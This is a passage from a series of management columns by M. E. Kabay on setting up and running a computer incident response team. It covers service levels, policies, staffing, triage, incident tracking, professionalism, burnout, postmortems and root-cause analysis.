  - Incident response support
  - Incident response coordination
* Vulnerability handling
  - Vulnerability analysis
  - Vulnerability response
  - Vulnerability response coordination
* Artifact handling
  - Artifact analysis
  - Artifact response
  - Artifact response coordination

Proactive Services
* Announcements
* Technology watch
* Security audits or assessments
* Configuration & maintenance of security tools, applications and infrastructures
* Development of security tools
* Intrusion detection services
* Security-related information dissemination
Security Quality Management Services
* Risk analysis
* Business continuity and disaster recovery planning
* Security consulting
* Awareness building
* Education / training
* Product evaluation or certification

The only problematic term in this list is "artifact," which the authors define as "any file or object found on a system that might be involved in probing or attacking systems and networks or that is being used to defeat security measures. Artifacts can include but are not limited to computer viruses, Trojan horse programs, worms, exploit scripts, and toolkits." [p. 28].

The specific combination of functions that your CIRT will provide will be a function of personnel and budgetary resources and of the maturity of the team. It is wise to focus a completely new CIRT on essential services such as incident handling and analysis as their first priority. With time and experience, the team can add functions such as coordinating with other security teams and with computer and network operations in the more proactive services and the security quality services that will lead to long-term reduction in security incidents and to lower damages and costs from such incidents.

Creating the CIRT:
Defining Service Levels

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

When you start working on a Computer Incident Response Team (CIRT), you must manage expectations carefully to avoid disappointment, frustration and hostility from users who may want more than you can reasonably provide. Managing expectations is a general principle applicable in a wide range of projects, not just CIRT management; for example, in planning a large-scale transaction processing system where the contract stipulated a maximum response time per transaction of three seconds, I remember that the programming team built a timer into the system so that responses would take exactly three seconds even during the initial test phases. We knew that only a few data entry clerks would be working on the system to try it out for the first few weeks, and the last thing we wanted was to get them used to sub-second response times that would climb as the databases became increasingly loaded and when several hundred users finally began using the system. At first, the client thought that this strategy was odd, but after thinking about it, they realized that it made sense.

As you establish your CIRT, you may want to start small, as I mentioned before. Perhaps you can limit the scope of the CIRT to a few of the smaller production systems to avoid plunging into a new area of expertise with enormous stakes riding on your success. You should decide whether to start with working-hours only, extended hours (e.g., early morning to late night) or 24-hour, seven-day operations. If software development is part of your environment and (as most people will recommend) is physically distinct from production systems, perhaps that could be a good start for the nascent CIRT. Although many development staff may work long hours and on weekends, the effects of system emergencies may be less severe than attacks or breakdowns involving other systems such as, say, inventory, factory controls, customer service, sales and so on. When you are ready to tackle an even more significant production system, perhaps a system whose users tend to leave more-or-less at the end of the day might be a good candidate; e.g., the accounting system or support systems for any operation that does not run more than one shift per day.

In any case, be sure that you communicate your intentions for when your CIRT services will be available to your customers (and yes, that's a deliberate use of the word).

The other aspect of service levels is how fast you can respond to emergencies. That's a much more complex issue and will be the subject of articles on triage and setting the rules for triage later in this series.

Creating the CIRT:
Establishing Policies and Procedures

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

As the DISA training course on CD-ROM about computer incident response teams succinctly puts it, "policies and procedures are not merely bureaucratic red tape." They are the scaffolding on which you can establish clear understanding and expectations for everyone involved in incident response. These living, evolving documents are tools that provide guidance on (quoting the CD-ROM)
* Roles and responsibilities
* Priorities
* Escalation criteria
* Response provided
* Orientation.

Policies are the statements of the desired goals; procedures are the methods for attaining those goals. Policies tend to be global and relatively stable; procedures can and should be relatively specific and can be adapted quickly to meet changing conditions and to integrate knowledge from experience. Policies cannot be promulgated without the approval and support of appropriate authorities in the organization, so one of the first steps is to identify those authorities. Another step is to gain their support for the policy project.

All policies and especially CIRT policies should be framed in clear, simple language so that everyone can understand them and should be made available in electronic form. In previous articles published by Network World Fusion, I have pointed out that hypertext can make policies more understandable by providing pop-up comments or explanations of difficult sections or technical terms.

Similarly, procedures show how to implement the policies in real terms. For example, a policy might stipulate, "All relevant information about the time and details of a computer incident shall be recorded with regard for the requirements of later analysis and for possible use in a legal proceeding." That policy might spawn a dozen procedures describing exactly how the information is to be recorded, named, stored, and maintained through a proper chain of custody. For example, one procedure might start, "Using the Incident_Report form in the CIRT Database accessible to all CIRT members, fill in every required field. Use the pull-down menus wherever possible in answering the questions." Again, as the DISA CD-ROM points out, these procedures should minimize ambiguity and help members of the team to provide a consistent level of service to the organization. A glossary of local acronyms and technical terms can be helpful as part of these procedures.

Whenever policies and procedures are changed in a way that may affect users, it's important to let people know about the changes so that their expectations can be adjusted. The DISA course recommends using several channels of communications to ensure that everyone gets the message; e.g., send e-mail, use phone and phone messages, send broadcast voicemail, announce

the changes at staff meetings, and use posters and Web sites.

Creating the CIRT:
Staffing

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

The computer incident response team may be a permanent, full-time assignment for a fixed group of experts or it may be a part time role assigned to dynamically as conditions require. In either case, or for any of the intermediate arrangements, certain fundamentals will dictate your choice of staff members for the CIRT. Cowens and Miora [1] write,

"Maturity and the ability to work long hours under stress and intense pressure are crucial characteristics. Integrity in the response team members must be absolute, since these people will have access and authority exceeding that given them in normal operations.

"Exceptional communications skills are required because, in an emergency, quick and accurate communications are needed. Inaccurate communications can cause the emergency to appear more serious than it is and therefore escalate a minor event into a crisis."

The DISA course on CIRT Management [2] addresses the question of the technical level required by CIRT staff. The authors suggest,

"Using a scale from 1 to 10 with 1 representing the novice or support staff, and 10 representing the technical wizard,. . . .

"To handle the initial Triage process, which involves separating service request into categories and directing them to the appropriate team member, individuals in the 1 to 3 technical range should be sufficient.

"Information requests can be handled by team members in the 1 to 5 range. For example, a support staff person can send out publications, while someone with greater expertise would be required to address the question about identifying spoofed e-mail.

"To handle incidents . . . team members in the 5 to 8 technical range are necessary. This response can involve technical analysis and communicating with compromise sites, law enforcement technical staff, and other CIRTs. In handling incidents that represent new attack types, you may need to call the wizards to help understand our analyze the activity.

"Vulnerability handling requires your most proficient personnel, falling into the eight to 10 range. These individuals must be able to work with software vendors, CIRTs, and other experts to identify and resolve vulnerabilities. Many CIRTs don't have access to this level of technical expertise."

I want to add to these excellent comments that in my experience, CIRT staff with the psychological flexibility to allow them to adapt quickly to changing requirements will do better than people who resist change or resent ambiguity. Ideally, the team will include problem-

solvers with an intuitive grasp of the differences between observation and assumption, hypothesis and deduction. As always, team-players committed to getting the problem solved will contribute more than people interested in acquiring personal credit for achievements. I also think that having at least one person on the team with a penchant for meticulous note-taking is a real benefit; more about recordkeeping in another segment in this series.

Responding to Computer Emergencies: Triage

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this series of articles on computer incident response teams (CIRTs), I turn next to some of the immediate issues in responding to computer emergencies:

- Triage – deciding how to direct calls for help or reports of a computer security incident;
- Technical expertise – the different kinds of knowledge that support effective response;
- Tracking incidents – ensuring appropriate documentation to save time and reduce errors;
- Critical information – laying the ground rules for collecting the kinds of data needed for effective decisions;
- The telephone hotline – suggestions for real-time notification and response.

So let's start with triage. The word itself comes from a French root meaning to sort. In medicine, triage is "prioritization of patients for medical treatment: the process of prioritizing sick or injured people for treatment according to the seriousness of the condition or injury." [1] Similarly, anyone receiving calls about computer security incidents must be able to classify the call right away so that the right resources can be called into play. As the DISA course on computer incident response team management suggests, "The triage process recognizes and separates

- new incidents,
- new information for ongoing incidents,
- vulnerability reports, …
- information requests, [and]
- other service requests." [2]

I have altered the order of the original list to reflect a decreasing rank of importance for these factors in communicating and acting upon calls.

Triage is common to ordinary help desks as well as to emergency hotlines. In general, there are two models for staffing the phones for such front-line functions: the "dispatch" model and the "resolve" model.[3] The dispatcher has just enough technical knowledge to collect appropriate information about an incident and assignment to a team member for investigation; the alternative is to assign someone with more expertise to answer the phone so that response can be even faster. However, the resolve model risks wasting resources because the more experienced staff member may end up doing largely clerical work instead of focusing on applying his or her expertise to problem analysis and resolution.

To support triage, staff members need explicit training on data collection and priorities. They need to record who is calling, how to reach that person, what the caller thinks is happening, what the caller has observed, how serious the consequences are, how many people or systems are affected, whether the incident is in progress or is over as far as they know, and how the caller and others are responding. The CIRT procedures should include guidance on assigning priorities to incidents; factors can include security classifications (e.g., SECRET or COMPANY

CONFIDENTIAL data under attack), type of problem (e.g., breach of confidentiality, data corruption, loss of control, loss of authenticity, degradation of availability or utility), possible direct costs (e.g., personnel downtime, costs of recovery, loss of business), possible indirect costs (e.g., damage to business reputation, legal liability) and so on as appropriate for each organization.

Readers may find the work of John Howard relevant for such analysis; Dr Howard has established a useful taxonomy for discussing computer security incidents that can serve as a framework for establishing priorities.[4]

I recommend an automated system for capturing information on all calls to the CIRT. Using keywords "helpdesk software" and also "help desk software" brings up dozens of options for such programs. If you have modest skill in database design, you can also create your own using a program such as MS-Access. With appropriate locking strategies and automated reports, your CIRT can know and control the priorities of all the open incidents under investigation at any time.

Responding to Computer Emergencies: Technical Expertise

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

In this continuing series on Computer Incident Response Team Management (CIRT), I'll address the issue today of the expertise needed for various functions in the CIRT.

The DISA course I've been referencing [1] has simple, clear recommendations, which I can summarize as follows:

We can start by classifying technical expertise in approximate ranges:

* Low, suitable for the triage function which involves determining who should best handle a specific call;

* Medium, appropriate for answering requests for information;

* High, suitable for technical problem-solving;

* Expert, suitable for handling problems that others have been unable to resolve and especially for issues involving vulnerability analysis and real-time responds to attacks.

As the DISA writers point out, "Vulnerability handling requires your most proficient personnel. . . . These individuals must be able to work with software vendors, CIRTs, and other experts to identify and resolve vulnerabilities. Many CIRTs don't have access to this level of technical expertise."

I want to add some additional requirements for the personnel involved in the CIRT. Not only should managers look for and ensure adequate technical knowledge, they should select and enhance interpersonal skills and disciplined work habits.

CIRT members inevitably work with some users who are stressed by the problems they are facing. It is no help to have a technical wizard who so offends the users that they stop cooperating with the problem-resolution team. Sometimes, CIRT staff forget that their job includes not only resolving a technical issue but also keeping the clients as happy as possible under the circumstances -- and the use of the word "clients" is deliberate here.

Here are some of the most irritating responses to users I have run across in my 25 years of technical support followed by my comments in parentheses:

* "No one has ever complained about this before." (So what? If the problem is real, we should thank the user for reporting it, not make veiled criticisms that imply that the problem can't be real.)

* “I don’t have time for this now.” (That's a time management problem for the CIRT, not for the client. Take responsibility for getting the right person to take charge of the problem in real-time.)

* “Why don’t you try calling . . . ?” (Same comment as just above.)

* “That’s not my problem.” (Just plain rude as well as irresponsible.)

* “Why don’t you reload the operating system and call me back if it happens again?” (Significant risk and time-cost for the client; often the first line suggestion of the terminally incompetent technician.)

* “Just format your hard disk and see if it happens again.” (Even worse than the previous suggestion if it is just a casual suggestion to get the client off phone for now.)

* “Don’t get mad at me -- I just work here.” (A professional will understand that there's a difference between criticism directed at the organization or its procedures versus a direct _ad hominem_ attack. The former should be taken seriously and passed on to people who can evaluate the seriousness of the criticism; the latter can be unacceptable and should be passed on to a manager who can explain the need for civility even under stress.)

If you would like to download PowerPoint presentations that cover many aspects of technical support management, you are welcome to visit my Web site [2].

In the next articles in this series, I'll be looking at how to track the details of calls to the CIRT.

Responding to Computer Emergencies: Tracking Incidents

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

In this continuing series of articles on Computer Incident Response Teams (CIRTs) I am reviewing principles and practical pointers for effective response to security breaches and other operational difficulties in information technology management. Today I'm focusing on some of the advantages, requirements and tools for incident tracking.

Advantages

Keeping track of all of technical support calls is essential for effective incident handling. Having details available to all members of the CIRT in real-time and for research and analysis later serves many functions:

* Communication among team members: Having the details written down in one place means that team members can pass a case from one to another and share data efficiently.

* Better client service: Callers become frustrated when they have to repeat the same information to several people in a row; a good incident-tracking system reduces that kind of irritation.

* Documentation for effective problem-solving: A good base of documented experience can help find the right procedure and the right solution quickly.

* Institutional memory: When experience is written down and accessible, the organization's capacity to respond quickly and correctly to incidents improves over time.

* Follow-up with clients: Managers can use the incident database to prepare management reports and to follow-up with specific clients to understand and resolve difficulties or complaints.

* Forensic evidence: Detailed, accurate and correctly timestamped notes can be a deciding element in successful prosecution of malefactors.

Requirements

Some of the more obvious requirements of any incident-handling system are listed below. Most are self-explanatory but I've added comments to a few of them:

* Unique identifier for case

* Dates and times for all events

* Who currently controls the case: It should be instantly obvious who is in charge of solving the problem.

* Keywords

* Contact information: Every person in the case should be listed with room for phone, e-mail and fax numbers.

* Handover of control: Whenever someone takes over control of the case, that handover should be noted in the record.

* Technical details including

  o Diagnostics

  o Tests of hypotheses

* Resolution: What was the outcome? When was the case closed?

* Search facilities: Full-text search capabilities.

* Knowledge base: Ability to integrate vendor-supplied entries to speed research.

In an online discussion by someone called “DonaldA-M” I noted two additional points I hadn't thought of:

* Industry-standard database engine: Easy to learn, maintain and improve.

* Accept input from comma-separated value (CSV) files: Import data from other systems.

Tools

There's a wide range of software available for tracking incidents. You can build your own, but then you'll have to provide proper documentation and training materials because turnover is a constant problem for CIRTs. In addition, unless your analysts have experience with the CIRT function, they are likely to miss useful features that have accumulated over the years in products used by thousands of people.

I have provided a short list of proprietary (commercial) help desk products in the Readings section below. You will want to use the Network World Fusion search at < http://search.nwfusion.com/query.html?qt=help+desk& > to see an extensive list of articles on this topic.

There are also well-respected open-source tools listed below.

All such tools can be complex; since you don't want people fumbling about in an emergency, be

sure that you budget for adequate training for your staff as you implement the tool you select.

Responding to Computer Emergencies: Critical Distinctions (1)

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

In this continuing series of articles on Computer Incident Response Teams (CIRTs) I am reviewing principles and practical pointers for effective response to security breaches and other operational difficulties in information technology management. Today I'm focusing on critical distinctions that your CIRT members should keep in mind in addition to the administrative details I summarized in the last article in the series. From my experience running technical support and operations over the years, I believe that the same principles that underlie effective technical support equally inform effective CIRT management.

GET THE GLOBAL PICTURE

When gathering information about an incident, staff members should establish a clear picture of what people were doing when they realized that there was a problem. For example, it may be important to know that someone was accessing a rarely-used account and noticed that a file was not available because someone else had it open. Those details will help to characterize the attack and to provide clues that may lead to additional valuable data. However, my approach would include asking why my contact was accessing the rarely-used account; it takes only a minute, but getting a wider picture may give the analyst another perspective that can also lead to new clues. In the scenario I have sketched, one could imagine that a system administrator had become curious about some unexpected resource utilization in a supposedly dormant account. This simple fact might lead to additional exploration of system log files and questions about whether any other dormant accounts had sparked curiosity. So, in general, it is worth your while to explore the situation more broadly at first rather than driving down the very first avenue that presents itself in the initial questions.

DISTINGUISH OBSERVATION FROM ASSUMPTION

As the CIRT member listens to the observations of other staff members, it is critically important to distinguish facts – that is, personal observations – from assumptions. Assumptions are ideas taken for granted or statements that are accepted without proof. For example, imagine the serious consequences of hearing someone say, "And so then they exploited a flaw in the firewall and then they. . ." and simply writing that statement down as if it were a fact. Such an assumption could profoundly distort the investigation, putting people's efforts into the wrong track and diverting their attention from a more fruitful line of inquiry. Hearing such a statement, I would write down, "And so perhaps they exploited a flaw in the firewall…."

DISTINGUISH OBSERVATION FROM HEARSAY

Everyone has played the child's game of whispering a sentence to another person and then hearing the distorted version that come out the other end of a long chain of transmission without error correction. CIRT staff must always distinguish between first-person observations ("I read the log file and found…") and hearsay ("Shalama read the log file and she found…"). Don't trust hearsay: check it out yourself by tracking down the source of the information.

More in the next article.

Responding to Computer Emergencies: Critical Distinctions (2)

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

In this continuing series of articles on Computer Incident Response Teams (CIRTs) I am reviewing principles and practical pointers for effective response to security breaches and other operational difficulties in information technology management. Today I'm continuing my focus on critical distinctions that your CIRT members should keep in mind when gathering data.

DISTINGUISH OBSERVATION FROM HYPOTHESIS

Sometimes when people are careless or untrained, they don't distinguish between what they saw and an idea that might explain what they saw. In the previous example about a suppose that flaw in a firewall, the person speaking seemed to take the flaw for granted; that was an assumption. A similar problem can occur when someone thinks that _maybe_ there's a flaw in the firewall and then proceeds as if that were true without testing their hypothesis. "And so maybe they exploited a flaw in the firewall, so we should patch all the holes right away." Putting aside for the moment the advisability of patching holes and firewalls, merely hypothesizing an exploit doesn't make it true. Maybe it's a good thing to patch the firewall, but it doesn't follow that it's the top priority right now simply from having thought of the idea. CIRT staff should be careful to think about what they're hearing and note explicitly when people are proposing explanations rather than reporting facts.

CHALLENGE YOUR HYPOTHESIS

I hope you will forgive me, Dear Reader, for a brief foray into the philosophy of science. I do have a reason to bringing it up.

In the 35 years I have been teaching college courses, I've taught biology, genetics, biochemistry, embryology, physiology, applied statistics, programming, software engineering and information assurance. All of these subjects have involved a concept that some students have struggled to grasp: science depends on _disproof_, not proof. Empirical science (in contrast to logical systems such as mathematics) does not offer "proofs" in an absolute sense. Instead, a scientist formulates an hypothesis, defines a set of conditions and observations with predicted results and sees if there are grounds for rejecting randomness as a simple explanation of the deviation of the observations from the predictions. In many cases, scientists will assume the _absence_ of a relationship or phenomenon (thus "null" hypothesis). Many experiments assume the absence of the interesting stuff and try to see if there are grounds for _rejecting_ this simple explanation: "There's nothing there." Science works by DISPROVING hypotheses. Explanations that cannot, by definition, be disproved are not part of a scientific effort.

Even more confusing for people who habitually think in terms of absolutes, even accepting the null hypothesis doesn't necessarily mean that there's nothing there. We may be measuring or counting too few occurrences to spot the cases that will challenge the non-existence of the phenomenon. There may also be confounding factors that obscure a real phenomenon.

But rejecting the null hypothesis does not, however, prove that any _specific_ alternate hypothesis is necessarily correct. The evidence just restricts the _range_ of reasonable hypotheses. We knock out explanation after explanation until what's left is a smaller set of explanations. In science, the best we hope for is not truth in an absolute sense but an operational equivalent to truth: useful enough to use for now.

OK, so now I want to bring this back to network management and the CIRT. When your CIRT members develop hypotheses, they have to try to shoot them down. Trying to show that an idea is _correct_ is – ironically – the wrong approach to testing hypotheses. Just as in quality assurance, we have to come up with ways of showing that our explanation is wrong. If we fail enough times to disprove an hypothesis using genuine, thoughtful, intelligent tests of our ideas, maybe we've got something useful after all.

Securing the CIRT:
Walk the Talk

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

For many months, I have been dipping into the Department of Defense CD-ROM called "Introduction to Computer Incident Response Team (CIRT) Management" in my series on CIRTs.

This week I want to expand on a theme presented late in that course: the importance of securing the CIRT and more broadly, of using our own advice.

The course narrator very properly notes, "Once the CIRT becomes known, it will be an attractive target for intruder attacks. A security breach at your CIRT site can be devastating to your reputation and have repercussions for the commands you support; in terms of security procedures, practice what you preach. You will need to provide solid physical, host, and network security in addition to appropriate staff training."

He continues,

"A compromise of any data related to incidents can have legal repercussions as well as financial and credibility consequences. What types of data need to be secured?
* Incident reports,
* electronic mail,
* vulnerability reports, and even
* briefing notes and slides."

More generally, all security personnel should be scrupulous in respecting security regulations and best practices. I was just chatting today before I wrote this piece with some security officers at a large corporation who were doing a due-diligence interview with me before approving enrollment for one of their employees in our graduate program. The questions centered around the confidentiality of company-specific information in the case study reports that the student would submit for grading during the 18 month program. I explained that no student is expected to reveal his or her employer's name or even location; that students use an internal e-mail address defined by our teaching platform and used on our access-controlled extranet; and finally that all of our instructors are themselves security professionals. I said that it is a matter of course for security professionals to be under nondisclosure whether a contract is signed or not – at least, to maintain a professional reputation. We all agreed that working in security eventually affects our behavior in a reflex way; we laughed that it's almost impossible not to look away when someone enters a password on a keyboard.

Another example of practicing what we preach is backups. For a security professional to lose data because of a lack of backups would be intensely embarrassing. I constantly urge my

students to do backups of their school work so that they never have to repeat what they have already done in case of a disk failure or a human error. Personally, I can demonstrate that I do a daily differential backup every day, clone my main computer's disk to my laptop at least once a week (actually daily when I'm teaching undergraduate courses) and create a full backup to DVDs once a month. I've only had a few occasions over these last decades when I needed those backups, but the minor effort involved was more than repaid by the ease of recovery and by the ability to look someone straight in the eye when telling them how to protect their data.

We have to walk what we talk.

Managing the CIRT: Professionalism

by M. E. Kabay, PhD, CISSP
Associate Professor of Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at Computer Incident Response Team management. The primary source for this series is the US Defense Information Systems Agency (DISA) training course listed at the end of the article.

* * *

The DISA course wisely emphasizes the importance of professional behavior by all members of the CIRT. The authors write, "The survival of your CIRT may well depend upon using a Code of Conduct, which will earn the trust and respect of the commands you support. The conduct of any single team member reflects upon the entire CIRT organization. If the commands don't trust your CIRT, they won't report to you. It is important, therefore, not only to have a Code of Conduct, but to shake it out and dust it off every once in a while. Remind team members what it is and why it is important...and use it."

Here are some of the practical recommendations from that course (although I have put them in my own words for the most part):

- Write down the rules – a Code of Conduct – that represent your ideals of courteous, professional service to your clients.
- Train the team to understand and apply the Code.
- Review the Code periodically with the team.
- Speak clearly and avoid technobabble.
- Tell people exactly what you intend to do.
- Never hesitate to say, "I don't know – but I'll find out."
- Don't criticize other people in your interactions with clients.
- Respect the confidentiality of your clients.
- Be respectful of your callers: don't belittle them or make them feel bad.

I was a member and then team leader of the Phone-In Consulting Service (PICS) at Hewlett-Packard (Canada) Ltd in Montréal in the early 1980s and later was director of technical services at a big service bureau in that city in the mid-1980s. Those experiences support the correctness of DISA's advice.

Notice how consistently DISA (and I) refer to clients; this usage emphasizes that both technical support teams and CIRTs all to perceive users as will to whom we owe service. There is no benefit to allowing an adversarial relationship between the technical support team or a CIRT and the client base. Don't allow a gulf to develop between the CIRT and the client community; clamp down on disparaging terms and derogatory comments about users. Ensure that team members understand why such language is harmful.

Identify CIRT members with a chip on their shoulders: don't let them adopt a defensive, arrogant or aggressive attitude toward the users. If a computer-security incident can be traced to procedural errors, the person reporting the problem should be thanked for the information, not criticized for having experienced or identified the problem.

No one in a CIRT has ever regretted being professional. Go out there and be NICE.

Managing the CIRT:
Setting the Rules for Triage

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor of Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of brief articles looking at computer incident response team (CIRT) management. A primary source for this series is the US Defense Information Systems Agency (DISA) training course listed at the end of the article.

"Triage" in French (my native language) means "sorting." In emergency medicine, the term was applied to the process of prioritizing treatment for patients arriving at trauma hospitals near combat zones in World War I (Microsoft Encarta 20006). The same concept has been applied to help desks. For example, the "Help desk triage policy" from Courtesy Computers < http://www.courtesycomputers.com/Best%20Practices/help%20desk%20triage.doc > illustrates how a help-desk team can categorize problems to ensure that important issues receive faster service than less important problems. Importance is defined in terms of the number of users affected, the effects on mission-critical functions, and the costs of downtime or of less-than-optimal functions. The five priority levels suggested in the document mentioned above are typical of the kind of triage categories established in many help-desk departments (adapted from a table in the Courtesy Computers document):

Priority 1
* Issue of the highest importance--mission-critical systems with a direct impact on the organization (Examples: widespread network outage, payroll system, sales system, telecom system, etc.)
* Contact: Immediate--5 minutes
* Resolution: 30 minutes

Priority 2
* Single user or group outage that is preventing the affected user(s) from working (Examples: failed hard drive, broken monitor, continuous OS lockups, etc.)
* Contact: 15 minutes
* Resolution: 1 hour

Priority 3
* Single user or group outage that can be permanently or temporarily solved with a workaround (Examples: malfunctioning printer, PDA synchronization problem, PC sound problem, etc.)
* Contact: 30 minutes
* Resolution: Same Day

Priority 4
* Scheduled work (Examples: new workstation installation, new equipment/software order, new hardware/software installation)
* Contact: 1 hour

* Resolution: 1-4 days

5 Nonessential scheduled work (Examples: office moves, telephone moves, equipment loaners, scheduled events)
* Contact: Same Day
* Resolution: 5 days

In his helpful overview, "CIRT – Framerwork and Models," < http://www.securitydocs.com/library/2964 > Ajoy Kumar summarizes the functions of triage as follows: "Triage: The actions taken to categorize, prioritize, and assign incidents and events. It includes following sub processes:

* Categorize events.
* Correlate various events. Personnel involved in such teams typically also belong to Forensic teams.
* Prioritize events.
* Assign events for handling and response.
* Communicate information to 'Respond' process for further handling.
* Re-assign (and close) events not belonging to CIRT."

The DISA training materials suggest three broader categories of interactions with help desks and CIRTs: "incidents, vulnerabilities, and information requests." Incidents involve breaches of security; vulnerabilities include reports of security weaknesses (and may be reported as part of an incident); information requests – often managed using lists of frequently-asked questions (FAQs).

The DISA instructors go on to define factors which can help CIRTs prioritize incidents as follows:

* "The sensitivity and/or criticality of the data affected
* The amount of data affected
* Which host machines are involved
* Where and under what conditions the incident occurred
* Effects of the incident on mission accomplishment
* Whether the incident is likely to result in media coverage
* Number of users affected
* Possible relationships to other incidents currently being investigated
* The nature of the attack
* Economic impact and time lost
* Number of times the problem has recurred; and even
* Who reports the incident."

On this last point, the DISA writers point out that the organizational rank of someone calling in an incident may bear on its priority – but that it may be wise to cross-check the report with a security expert who can speak to whether the report is sound.

In summary, it is important to establish a sound basis for staff members of the CIRT to carry out triage effectively. Once the rules for evaluating incidents have been clarified, staff members should practice analyzing a number of cases to train themselves in applying the rules

consistently. Role-playing exercises based on historical records or on made-up examples can provide an excellent and enjoyable mechanism for staff members to establish a common standard for this difficult and sensitive task.

Managing the CIRT:
Avoiding Burnout

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor of Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at computer incident response team (CIRT) management. A primary source for this series is the US Defense Information Systems Agency (DISA) training course listed at the end of the article.

Much of the discussion below applies equally to CIRTs and to help desks; in a sense, one can view the CIRT as a specialized help desk. Many CIRTs are specialized subsets of the help desk team.

Any organization, even one with a relatively small CIRT or a small help desk, can suffer spikes in demand. Ordinary business cycles can influence network usage; for example, universities often see perfectly normal but large increases in call volumes at registration times as new students forget their passwords, try to connect unverified laptops to the university network, or get blocked for violating appropriate-use policies. At any site, a denial-of-service attack, a plague of computer virus infections, or an infestation of computer worms can cause a flood of calls ‘way above normal levels.

Another trend is the ironic observation that the better a CIRT (or help-desk team, but I’ll continue by focusing on CIRTs) becomes at handling problems, the more readily members of its community will turn to it to report problems or ask for help. Thus the better the CIRT does its job, the heavier its workload can become, at least for a while. According to the DISA course, “As a new CIRT grows and the workload increases, and especially on those teams that provide 24-hour emergency response, burnout becomes quite common. By studying the issue, one national CIRT determined that a full-time team member could comfortably handle one new incident per day, with 20 incidents still open and actively being investigated.”

Staff members who face increasing workloads may become stressed. Working long periods of overtime, missing time with family and friends, perhaps even missing regular exercise and food – these factors may lead to increased errors and turnover if people are forced to accept increasingly demanding conditions for long periods.

One of the most valuable organizational approaches to preventing burnout is to rotate staff through the CIRT function from your IT group on a predictable schedule. For example, you can assign people to the CIRT for three- or six-month rotations. Such rotations require especially good training programs and particularly good documentation to maintain efficiency as new people come on duty; in addition, the assignments must be staggered so that the CIRT doesn’t have to cope with large numbers of newcomers all at once. Ideally, there wouldn’t be more than one switch of personnel a week.

How should existing assignments be transferred within the CIRT? I recommend that _difficult_

existing cases be transferred to staff members who have been on duty for a few weeks, not to the incoming staff member (even if she has experience on the CIRT). The incoming CIRT member should be given a chance to get into (or get back into) the rhythm of the job before being hit with the most intractable problem or the orneriest client.

Every incident must have a case coordinator – the person who monitors the problem, aggregates information from varied resources and serves as the voice of the CIRT for that incident. When transferring responsibility for a case from one case coordinator to another, be sure to have the previous coordinator prepare the clients for the transition and introduce the new coordinator to the key client contacts to ensure a smooth transition of control. Clients often come to depend on the person they have been working with to resolve an incident; an unexpected change can be unsettling and even disturbing.

The DISA course writers suggest, "Allow team members to allocate time away from high stress incident response assignments and pursue broader interests in areas such as tool development, public education and presentations, research, and other professional opportunities." CIRT members, by the nature of their work, will have a great deal to contribute to the awareness, training and education of their colleagues.

Making the CIRT a stimulating and enjoyable duty that people _want_ to be on is one of the best approaches to avoiding burnout and ensuring reliable response to computer-related problems.

Learning From Emergencies:
The Postmortem

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor, Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at computer security incident response team (CSIRT) management.

One of the most important principles of management in general and operations management in particular is that fixing a problem has two aspects: the short term and the long term. One must be able to solve problems quickly enough to be effective; that is, the speed of solution must be appropriate to the consequential costs of delay. However, we should not figuratively wipe our hands in satisfaction and walk away from the problem resolution without thinking about why it happened, how we fixed it, and whether we can do better to avoid repeats and to improve our response.

As a matter of standard operating procedure, every technical support and CSIRT must schedule time to analyze the underlying factors that led to the problem they have just resolved. This analysis will likely involve operational staff outside the CSIRT; these are the people with line expertise who will be able to contribute their intimate knowledge of technical details that contributed to this security breach. These discussions can often lead to practical recommendations for improvement of our security architecture such as topology or firewall placement, operational procedures such as monitoring standards or vulnerability patching, and technical details such as configurations or Parameter settings.

Similarly, it is a commonplace in discussions of disaster recovery and business continuity planning that every practice run or real-life incident should be analyzed to see where we have made errors or achieve less than our goals in performance. Managers must ensure that these analyses are not perceived as (or worse, really) finger-pointing exercises for a apportioning blame. In a previous column, I have explained the concepts of "egoless work" < http://www.networkworld.com/newsletters/sec/2006/0130sec2.html >; the postmortem analysis of an incident must be ego-free. Managers can set the tone by responding positively to what might otherwise be perceived as criticism; "That's a good point" and "Very good observation" are examples of positive, encouraging responses to observations such as "We were too slow in getting back to the initial caller given that she clearly stated that the entire department was off-line." The meeting should focus on ways to improve the response given the insights resulting from detailed analysis of successes and failures during the recent incident.

In my next article on this subject, I'll look at analyzing underlying causes of security incidents.

Learning from Emergencies:
Root-Cause Analysis

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor, Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at computer security incident response team (CSIRT) management. In my last column, I discussed the incident postmortem analysis. Today I want to look at root-cause analysis.

One aspect that sometimes gets lost in the incident postmortems I've been describing is exploring the reasons for the problems. If we don't pay attention to underlying causes, we may fix specific problems and we may improve particular procedures but we will likely encounter different consequences of the same fundamental errors that caused those particular problems. We must pursue the analysis and deeply in off to identify structural flaws in our processes so that we can correct those problems and thus reduce the likelihood of entire classes of problems. Readers interested in learning more about management style and small-group leadership tools may find some material of value in the Management Skills lectures and in the Leadership lectures on the MSIA section of my Web site < http://www.mekabay.com/msia/public/index.htm >.

The US National Institute of Standards and Technology _Computer Security Incident Handling Guide_ by Tim Grance, Karen Kent and Brian Kim < http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf > specifically recommends a post-incident analysis in section 3.4. The authors' list of suggested questions is as follows (quoting exactly):

- Exactly what happened, and at what times?
- How well did staff and management perform in dealing with the incident? Were the documented procedures followed? Were they adequate?
- What information was needed sooner?
